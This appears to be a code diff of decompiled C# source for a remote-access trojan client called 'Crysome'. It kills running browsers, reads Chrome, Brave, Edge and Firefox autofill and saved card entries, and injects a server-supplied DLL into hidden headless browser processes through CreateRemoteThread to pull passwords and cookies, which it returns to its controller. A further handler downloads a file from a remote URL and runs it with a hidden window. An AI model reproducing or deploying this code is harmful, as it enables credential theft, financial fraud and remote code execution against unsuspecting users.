private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOW lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||||
|
||||
private static void KillBrowsers()
|
||||
{
|
||||
string[] array = new string[6] { "chrome", "brave", "msedge", "firefox", "opera", "operagx" };
|
||||
foreach (string processName in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process[] processesByName = Process.GetProcessesByName(processName);
|
||||
foreach (Process process in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Kill();
|
||||
process.WaitForExit(1000);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
|
||||
private static List<(string Browser, string Name, string Value)> ReadChromiumAutofill(string webDataPath)
|
||||
{
|
||||
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005a: Expected O, but got Unknown
|
||||
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006d: Expected O, but got Unknown
|
||||
//IL_0100: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0107: Expected O, but got Unknown
|
||||
List<(string, string, string)> list = new List<(string, string, string)>();
|
||||
if (!File.Exists(webDataPath))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
string text = Path.Combine(Path.GetTempPath(), "wd_" + Guid.NewGuid().ToString("N") + ".db");
|
||||
try
|
||||
{
|
||||
File.Copy(webDataPath, text, overwrite: true);
|
||||
SQLiteConnection val = new SQLiteConnection("Data Source=" + text + ";Version=3;ReadOnly=True;");
|
||||
try
|
||||
{
|
||||
((DbConnection)(object)val).Open();
|
||||
SQLiteCommand val2 = new SQLiteCommand("SELECT name, value FROM autofill LIMIT 5000", val);
|
||||
try
|
||||
{
|
||||
SQLiteDataReader val3 = val2.ExecuteReader();
|
||||
try
|
||||
{
|
||||
while (((DbDataReader)(object)val3).Read())
|
||||
{
|
||||
string text2 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0));
|
||||
string text3 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1));
|
||||
if (!string.IsNullOrWhiteSpace(text2) || !string.IsNullOrWhiteSpace(text3))
|
||||
{
|
||||
list.Add((text2, text3, ""));
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val3)?.Dispose();
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val2)?.Dispose();
|
||||
}
|
||||
try
|
||||
{
|
||||
SQLiteCommand val4 = new SQLiteCommand("SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards LIMIT 100", val);
|
||||
try
|
||||
{
|
||||
SQLiteDataReader val5 = val4.ExecuteReader();
|
||||
try
|
||||
{
|
||||
while (((DbDataReader)(object)val5).Read())
|
||||
{
|
||||
string text4 = (((DbDataReader)(object)val5).IsDBNull(0) ? "" : ((DbDataReader)(object)val5).GetString(0));
|
||||
string text5 = (((DbDataReader)(object)val5).IsDBNull(1) ? "" : "[encrypted]");
|
||||
string text6 = (((DbDataReader)(object)val5).IsDBNull(2) ? "" : ((DbDataReader)(object)val5).GetString(2)) + "/" + (((DbDataReader)(object)val5).IsDBNull(3) ? "" : ((DbDataReader)(object)val5).GetString(3));
|
||||
if (!string.IsNullOrWhiteSpace(text4))
|
||||
{
|
||||
list.Add(("CreditCard: " + text4, "Number: " + text5, "Exp: " + text6));
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val5)?.Dispose();
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val4)?.Dispose();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val)?.Dispose();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static List<(string Browser, string Name, string Value)> ReadFirefoxAutofill(string profileDir)
|
||||
{
|
||||
//IL_006a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0071: Expected O, but got Unknown
|
||||
//IL_007f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0086: Expected O, but got Unknown
|
||||
List<(string, string, string)> list = new List<(string, string, string)>();
|
||||
if (!Directory.Exists(profileDir))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
string text = Path.Combine(profileDir, "formhistory.sqlite");
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
string text2 = Path.Combine(Path.GetTempPath(), "ffh_" + Guid.NewGuid().ToString("N") + ".db");
|
||||
try
|
||||
{
|
||||
File.Copy(text, text2, overwrite: true);
|
||||
SQLiteConnection val = new SQLiteConnection("Data Source=" + text2 + ";Version=3;ReadOnly=True;");
|
||||
try
|
||||
{
|
||||
((DbConnection)(object)val).Open();
|
||||
SQLiteCommand val2 = new SQLiteCommand("SELECT fieldname, value FROM moz_formhistory LIMIT 2000", val);
|
||||
try
|
||||
{
|
||||
SQLiteDataReader val3 = val2.ExecuteReader();
|
||||
try
|
||||
{
|
||||
while (((DbDataReader)(object)val3).Read())
|
||||
{
|
||||
string text3 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0));
|
||||
string text4 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1));
|
||||
if (!string.IsNullOrWhiteSpace(text3) || !string.IsNullOrWhiteSpace(text4))
|
||||
{
|
||||
list.Add((text3, text4, ""));
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val3)?.Dispose();
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val2)?.Dispose();
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val)?.Dispose();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(text2);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static List<(string Browser, string Name, string Value, string Value2)> GetAllAutofills()
|
||||
{
|
||||
List<(string, string, string, string)> list = new List<(string, string, string, string)>();
|
||||
string text = Path.Combine(LocalAppData, "Google\\Chrome\\User Data\\Default\\Web Data");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
foreach (var (item, item2, item3) in ReadChromiumAutofill(text))
|
||||
{
|
||||
list.Add(("Chrome", item, item2, item3));
|
||||
}
|
||||
}
|
||||
string text2 = Path.Combine(LocalAppData, "BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data");
|
||||
if (File.Exists(text2))
|
||||
{
|
||||
foreach (var (item4, item5, item6) in ReadChromiumAutofill(text2))
|
||||
{
|
||||
list.Add(("Brave", item4, item5, item6));
|
||||
}
|
||||
}
|
||||
string text3 = Path.Combine(LocalAppData, "Microsoft\\Edge\\User Data\\Default\\Web Data");
|
||||
if (File.Exists(text3))
|
||||
{
|
||||
foreach (var (item7, item8, item9) in ReadChromiumAutofill(text3))
|
||||
{
|
||||
list.Add(("Edge", item7, item8, item9));
|
||||
}
|
||||
}
|
||||
string text4 = FirefoxProfileDir();
|
||||
if (text4 != null)
|
||||
{
|
||||
foreach (var (item10, item11, item12) in ReadFirefoxAutofill(text4))
|
||||
{
|
||||
list.Add(("Firefox", item10, item11, item12));
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static string FirefoxProfileDir()
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(RoamingAppData, "Mozilla\\Firefox\\Profiles");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string[] directories = Directory.GetDirectories(path);
|
||||
foreach (string text in directories)
|
||||
{
|
||||
if (File.Exists(Path.Combine(text, "formhistory.sqlite")))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string EscapeJsonString(string s)
|
||||
{
|
||||
if (s == null)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\n", "\\n")
|
||||
.Replace("\r", "\\r")
|
||||
.Replace("\t", "\\t");
|
||||
}
|
||||
|
||||
private static string BuildAutofillJson(List<(string Browser, string Name, string Value, string Value2)> entries)
|
||||
{
|
||||
if (entries == null || entries.Count == 0)
|
||||
{
|
||||
return "[]";
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder("[");
|
||||
for (int i = 0; i < entries.Count; i++)
|
||||
{
|
||||
if (i > 0)
|
||||
{
|
||||
stringBuilder.Append(",");
|
||||
}
|
||||
stringBuilder.Append("{\"browser\":\"" + EscapeJsonString(entries[i].Browser) + "\",\"name\":\"" + EscapeJsonString(entries[i].Name) + "\",\"value\":\"" + EscapeJsonString(entries[i].Value + " " + entries[i].Value2).Trim() + "\"}");
|
||||
}
|
||||
stringBuilder.Append("]");
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static void HandleRequestCredentials(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
DoHandleRequestCredentials(client, packet);
|
||||
});
|
||||
}
|
||||
|
||||
private static void DoHandleRequestCredentials(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
RequestCredentialsPacket val = (RequestCredentialsPacket)packet;
|
||||
string text = null;
|
||||
string text2 = "";
|
||||
string text3 = "";
|
||||
string text4 = "";
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
bool flag = val.RequestType == 0 || val.RequestType == 2 || val.RequestType == 4;
|
||||
bool flag2 = val.RequestType == 1 || val.RequestType == 2 || val.RequestType == 4;
|
||||
bool flag3 = val.RequestType == 3 || val.RequestType == 4;
|
||||
stringBuilder.AppendLine("Type=" + val.RequestType + " DLL=" + ((val.DllBytes == null) ? "null" : (val.DllBytes.Length + "B")) + " wantPW=" + flag + " wantCK=" + flag2 + " wantAF=" + flag3);
|
||||
try
|
||||
{
|
||||
KillBrowsers();
|
||||
if (flag3)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<(string, string, string, string)> allAutofills = GetAllAutofills();
|
||||
text4 = BuildAutofillJson(allAutofills);
|
||||
stringBuilder.AppendLine("Autofills: " + allAutofills.Count + " entries");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilder.AppendLine("Autofill error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
if (flag || flag2)
|
||||
{
|
||||
string text5 = Path.Combine(Path.GetTempPath(), "abe_decrypt_" + Guid.NewGuid().ToString("N") + ".dll");
|
||||
if (val.DllBytes != null && val.DllBytes.Length != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(text5, val.DllBytes);
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
SendResponse(client, "Failed to write DLL: " + ex2.Message, null, null, text4);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
string lastDllPath = FileTransferHandlers.LastDllPath;
|
||||
if (string.IsNullOrEmpty(lastDllPath) || !File.Exists(lastDllPath))
|
||||
{
|
||||
SendResponse(client, "DLL not provided.", null, null, text4);
|
||||
return;
|
||||
}
|
||||
text5 = lastDllPath;
|
||||
}
|
||||
List<string> list = new List<string>();
|
||||
List<string> list2 = new List<string>();
|
||||
for (int i = 0; i < BrowserExes.Length; i++)
|
||||
{
|
||||
string browserPath = GetBrowserPath(i);
|
||||
stringBuilder.AppendLine("Browser[" + BrowserExes[i] + "]: " + (browserPath ?? "NOT FOUND"));
|
||||
if (string.IsNullOrEmpty(browserPath))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
bool flag4 = BrowserExes[i].Equals("msedge.exe", StringComparison.OrdinalIgnoreCase);
|
||||
IntPtr hProcessOut = IntPtr.Zero;
|
||||
bool flag5 = InjectAndRun(text5, browserPath, BrowserExes[i], out hProcessOut);
|
||||
stringBuilder.AppendLine(" inject=" + flag5);
|
||||
if (!flag5)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
int maxWaitMs = (flag4 ? 30000 : 15000);
|
||||
string text6 = WaitForOutput(BrowserNames[i], maxWaitMs, stringBuilder);
|
||||
if (!string.IsNullOrEmpty(text6))
|
||||
{
|
||||
foreach (string item in EnumerateProfileDirs(text6))
|
||||
{
|
||||
if (flag)
|
||||
{
|
||||
string path = Path.Combine(item, "passwords.json");
|
||||
if (File.Exists(path))
|
||||
{
|
||||
try
|
||||
{
|
||||
list.Add(File.ReadAllText(path));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!flag2)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string path2 = Path.Combine(item, "cookies.json");
|
||||
if (File.Exists(path2))
|
||||
{
|
||||
try
|
||||
{
|
||||
list2.Add(File.ReadAllText(path2));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (hProcessOut != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
TerminateProcess(hProcessOut, 0u);
|
||||
WaitForSingleObject(hProcessOut, 2000u);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
CloseHandle(hProcessOut);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
KillBrowsers();
|
||||
}
|
||||
text2 = (flag ? string.Join("\n", list.Where((string s) => !string.IsNullOrWhiteSpace(s))) : "");
|
||||
text3 = (flag2 ? string.Join("\n", list2.Where((string s) => !string.IsNullOrWhiteSpace(s))) : "");
|
||||
try
|
||||
{
|
||||
string text7 = Path.Combine(Path.GetTempPath(), "csm_cred_debug");
|
||||
Directory.CreateDirectory(text7);
|
||||
File.WriteAllText(Path.Combine(text7, "passwords_raw.json"), text2);
|
||||
File.WriteAllText(Path.Combine(text7, "cookies_raw.json"), text3);
|
||||
File.WriteAllText(Path.Combine(text7, "autofills_raw.json"), text4);
|
||||
File.WriteAllText(Path.Combine(text7, "diag.txt"), stringBuilder.ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
CleanupOutputDirectories();
|
||||
}
|
||||
}
|
||||
catch (Exception ex3)
|
||||
{
|
||||
text = ex3.Message;
|
||||
Program.Log("Credentials handler error: " + ex3.ToString());
|
||||
stringBuilder.AppendLine("EXCEPTION: " + ex3.Message);
|
||||
}
|
||||
if (string.IsNullOrEmpty(text2) && string.IsNullOrEmpty(text3) && string.IsNullOrEmpty(text4) && string.IsNullOrEmpty(text))
|
||||
{
|
||||
text = stringBuilder.ToString().Trim();
|
||||
}
|
||||
SendResponse(client, text, text2, text3, text4);
|
||||
}
|
||||
|
||||
private static string WaitForOutput(string browserName, int maxWaitMs, StringBuilder diag)
|
||||
{
|
||||
string text = Path.Combine(LocalAppData, "output", browserName);
|
||||
string text2 = Path.Combine(Path.GetTempPath(), "output", browserName);
|
||||
Stopwatch stopwatch = Stopwatch.StartNew();
|
||||
while (stopwatch.ElapsedMilliseconds < maxWaitMs)
|
||||
{
|
||||
string[] array = new string[2] { text, text2 };
|
||||
foreach (string text3 in array)
|
||||
{
|
||||
if (!Directory.Exists(text3))
|
||||
{
|
||||
Thread.Sleep(500);
|
||||
continue;
|
||||
}
|
||||
string[] array2 = SafeGetDirectories(text3);
|
||||
for (int j = 0; j < array2.Length; j++)
|
||||
{
|
||||
if (SafeGetFiles(array2[j]).Length != 0)
|
||||
{
|
||||
diag.AppendLine(" output found at: " + text3 + " (" + stopwatch.ElapsedMilliseconds + "ms)");
|
||||
return text3;
|
||||
}
|
||||
}
|
||||
}
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
diag.AppendLine(" output NOT found after " + maxWaitMs + "ms");
|
||||
return null;
|
||||
}
|
||||
|
||||
private static IEnumerable<string> EnumerateProfileDirs(string outputBase)
|
||||
{
|
||||
string[] array = SafeGetDirectories(outputBase);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
yield return array[i];
|
||||
}
|
||||
}
|
||||
|
||||
private static string[] SafeGetDirectories(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
return Directory.Exists(path) ? Directory.GetDirectories(path) : Array.Empty<string>();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return Array.Empty<string>();
|
||||
}
|
||||
}
|
||||
|
||||
private static string[] SafeGetFiles(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
return Directory.Exists(path) ? Directory.GetFiles(path) : Array.Empty<string>();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return Array.Empty<string>();
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetBrowserPath(int browserIndex)
|
||||
{
|
||||
string[] array = BrowserRegPaths[browserIndex];
|
||||
foreach (string subKey in array)
|
||||
{
|
||||
string text = TryRegistryValue(Registry.LocalMachine, subKey, "");
|
||||
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
text = TryRegistryValue(Registry.CurrentUser, subKey, "");
|
||||
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
}
|
||||
array = BrowserFallbacks[browserIndex];
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = Environment.ExpandEnvironmentVariables(array[i]);
|
||||
if (File.Exists(text2))
|
||||
{
|
||||
return text2;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string TryRegistryValue(RegistryKey hive, string subKey, string valueName)
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = hive.OpenSubKey(subKey);
|
||||
return registryKey?.GetValue(valueName) as string;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool InjectAndRun(string dllPath, string browserExePath, string exeName, out IntPtr hProcessOut)
|
||||
{
|
||||
hProcessOut = IntPtr.Zero;
|
||||
IntPtr intPtr = IntPtr.Zero;
|
||||
IntPtr intPtr2 = IntPtr.Zero;
|
||||
IntPtr intPtr3 = IntPtr.Zero;
|
||||
IntPtr intPtr4 = IntPtr.Zero;
|
||||
bool flag = exeName.Equals("msedge.exe", StringComparison.OrdinalIgnoreCase);
|
||||
try
|
||||
{
|
||||
string lpCommandLine = ((!flag) ? ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 about:blank") : ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 --disable-features=RendererCodeIntegrity about:blank"));
|
||||
STARTUPINFOW lpStartupInfo = new STARTUPINFOW
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(STARTUPINFOW)),
|
||||
dwFlags = 257u,
|
||||
wShowWindow = 0,
|
||||
hStdInput = IntPtr.Zero,
|
||||
hStdOutput = IntPtr.Zero,
|
||||
hStdError = IntPtr.Zero
|
||||
};
|
||||
uint dwCreationFlags = 134217740u;
|
||||
if (!CreateProcess(null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, dwCreationFlags, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
|
||||
{
|
||||
Program.Log("InjectAndRun: CreateProcess failed for " + exeName + " err=" + Marshal.GetLastWin32Error());
|
||||
return false;
|
||||
}
|
||||
intPtr = lpProcessInformation.hProcess;
|
||||
intPtr2 = lpProcessInformation.hThread;
|
||||
byte[] bytes = Encoding.Unicode.GetBytes(dllPath + "\0");
|
||||
UIntPtr uIntPtr = (UIntPtr)(ulong)bytes.Length;
|
||||
intPtr3 = VirtualAllocEx(intPtr, IntPtr.Zero, uIntPtr, 12288u, 4u);
|
||||
if (intPtr3 == IntPtr.Zero)
|
||||
{
|
||||
TerminateProcess(intPtr, 0u);
|
||||
return false;
|
||||
}
|
||||
if (!WriteProcessMemory(intPtr, intPtr3, bytes, uIntPtr, out var lpNumberOfBytesWritten) || lpNumberOfBytesWritten != uIntPtr)
|
||||
{
|
||||
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
||||
TerminateProcess(intPtr, 0u);
|
||||
return false;
|
||||
}
|
||||
IntPtr moduleHandle = GetModuleHandle("kernel32.dll");
|
||||
if (moduleHandle == IntPtr.Zero)
|
||||
{
|
||||
TerminateProcess(intPtr, 0u);
|
||||
return false;
|
||||
}
|
||||
IntPtr procAddress = GetProcAddress(moduleHandle, "LoadLibraryW");
|
||||
if (procAddress == IntPtr.Zero)
|
||||
{
|
||||
TerminateProcess(intPtr, 0u);
|
||||
return false;
|
||||
}
|
||||
intPtr4 = CreateRemoteThread(intPtr, IntPtr.Zero, UIntPtr.Zero, procAddress, intPtr3, 0u, out var _);
|
||||
if (intPtr4 == IntPtr.Zero)
|
||||
{
|
||||
Program.Log("InjectAndRun: CreateRemoteThread failed for " + exeName + " err=" + Marshal.GetLastWin32Error());
|
||||
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
||||
TerminateProcess(intPtr, 0u);
|
||||
return false;
|
||||
}
|
||||
uint num = WaitForSingleObject(intPtr4, 8000u);
|
||||
uint lpExitCode = 0u;
|
||||
GetExitCodeThread(intPtr4, out lpExitCode);
|
||||
CloseHandle(intPtr4);
|
||||
intPtr4 = IntPtr.Zero;
|
||||
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
||||
intPtr3 = IntPtr.Zero;
|
||||
if (lpExitCode == 0 || num == 258)
|
||||
{
|
||||
Program.Log("InjectAndRun: LoadLibrary returned 0 or timed out for " + exeName + " exitCode=" + lpExitCode + " waitResult=" + num);
|
||||
TerminateProcess(intPtr, 0u);
|
||||
return false;
|
||||
}
|
||||
ResumeThread(intPtr2);
|
||||
hProcessOut = intPtr;
|
||||
intPtr = IntPtr.Zero;
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("InjectAndRun: " + ex.Message);
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
TerminateProcess(intPtr, 0u);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (intPtr4 != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(intPtr4);
|
||||
}
|
||||
if (intPtr3 != IntPtr.Zero && intPtr != IntPtr.Zero)
|
||||
{
|
||||
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
||||
}
|
||||
if (intPtr2 != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(intPtr2);
|
||||
}
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(intPtr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void SendResponse(CrysomeClient client, string error, string pw, string ck, string af)
|
||||
{
|
||||
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0034: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new CredentialsResponsePacket(error ?? "", pw ?? "", ck ?? "", af ?? ""));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Credentials send error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void CleanupOutputDirectories()
|
||||
{
|
||||
string[] array = new string[2]
|
||||
{
|
||||
Path.Combine(LocalAppData, "output"),
|
||||
Path.Combine(Path.GetTempPath(), "output")
|
||||
};
|
||||
foreach (string path in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
Directory.Delete(path, recursive: true);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class DirectLinkHandlers
|
||||
{
|
||||
public static void HandleDirectLink(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_00b0: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ba: Expected O, but got Unknown
|
||||
DirectLinkRequestPacket val = (DirectLinkRequestPacket)packet;
|
||||
string text;
|
||||
try
|
||||
{
|
||||
string url = val.Url;
|
||||
if (string.IsNullOrEmpty(url))
|
||||
{
|
||||
text = "ERR: Empty URL";
|
||||
}
|
||||
else
|
||||
{
|
||||
string text2 = Path.GetFileName(new Uri(url).LocalPath);
|
||||
if (string.IsNullOrEmpty(text2))
|
||||
{
|
||||
text2 = "download.exe";
|
||||
}
|
||||
string fileName = Path.Combine(Path.GetTempPath(), text2);
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadFile(url, fileName);
|
||||
}
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = fileName,
|
||||
UseShellExecute = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
text = "OK DL: " + text2;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
text = "ERR DL: " + ex.Message;
|
||||
}
|
||||
client.SendPacket((IPacket)new DirectLinkResponsePacket(text));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using SharpDX;
|
||||
using SharpDX.Direct3D11;
|
||||
using SharpDX.DXGI;
|
||||
using TurboJpegWrapper;
|
||||
using Device = SharpDX.Direct3D11.Device;
|
||||
using MapFlags = SharpDX.Direct3D11.MapFlags;
|
||||
using Resource = SharpDX.DXGI.Resource;
|
||||
|
||||
namespace Crysome.Client.Handlers
|
||||
{
|
||||
internal sealed class DxgiCapture : IDisposable
|
||||
{
|
||||
private Device _device;
|
||||
private OutputDuplication _duplication;
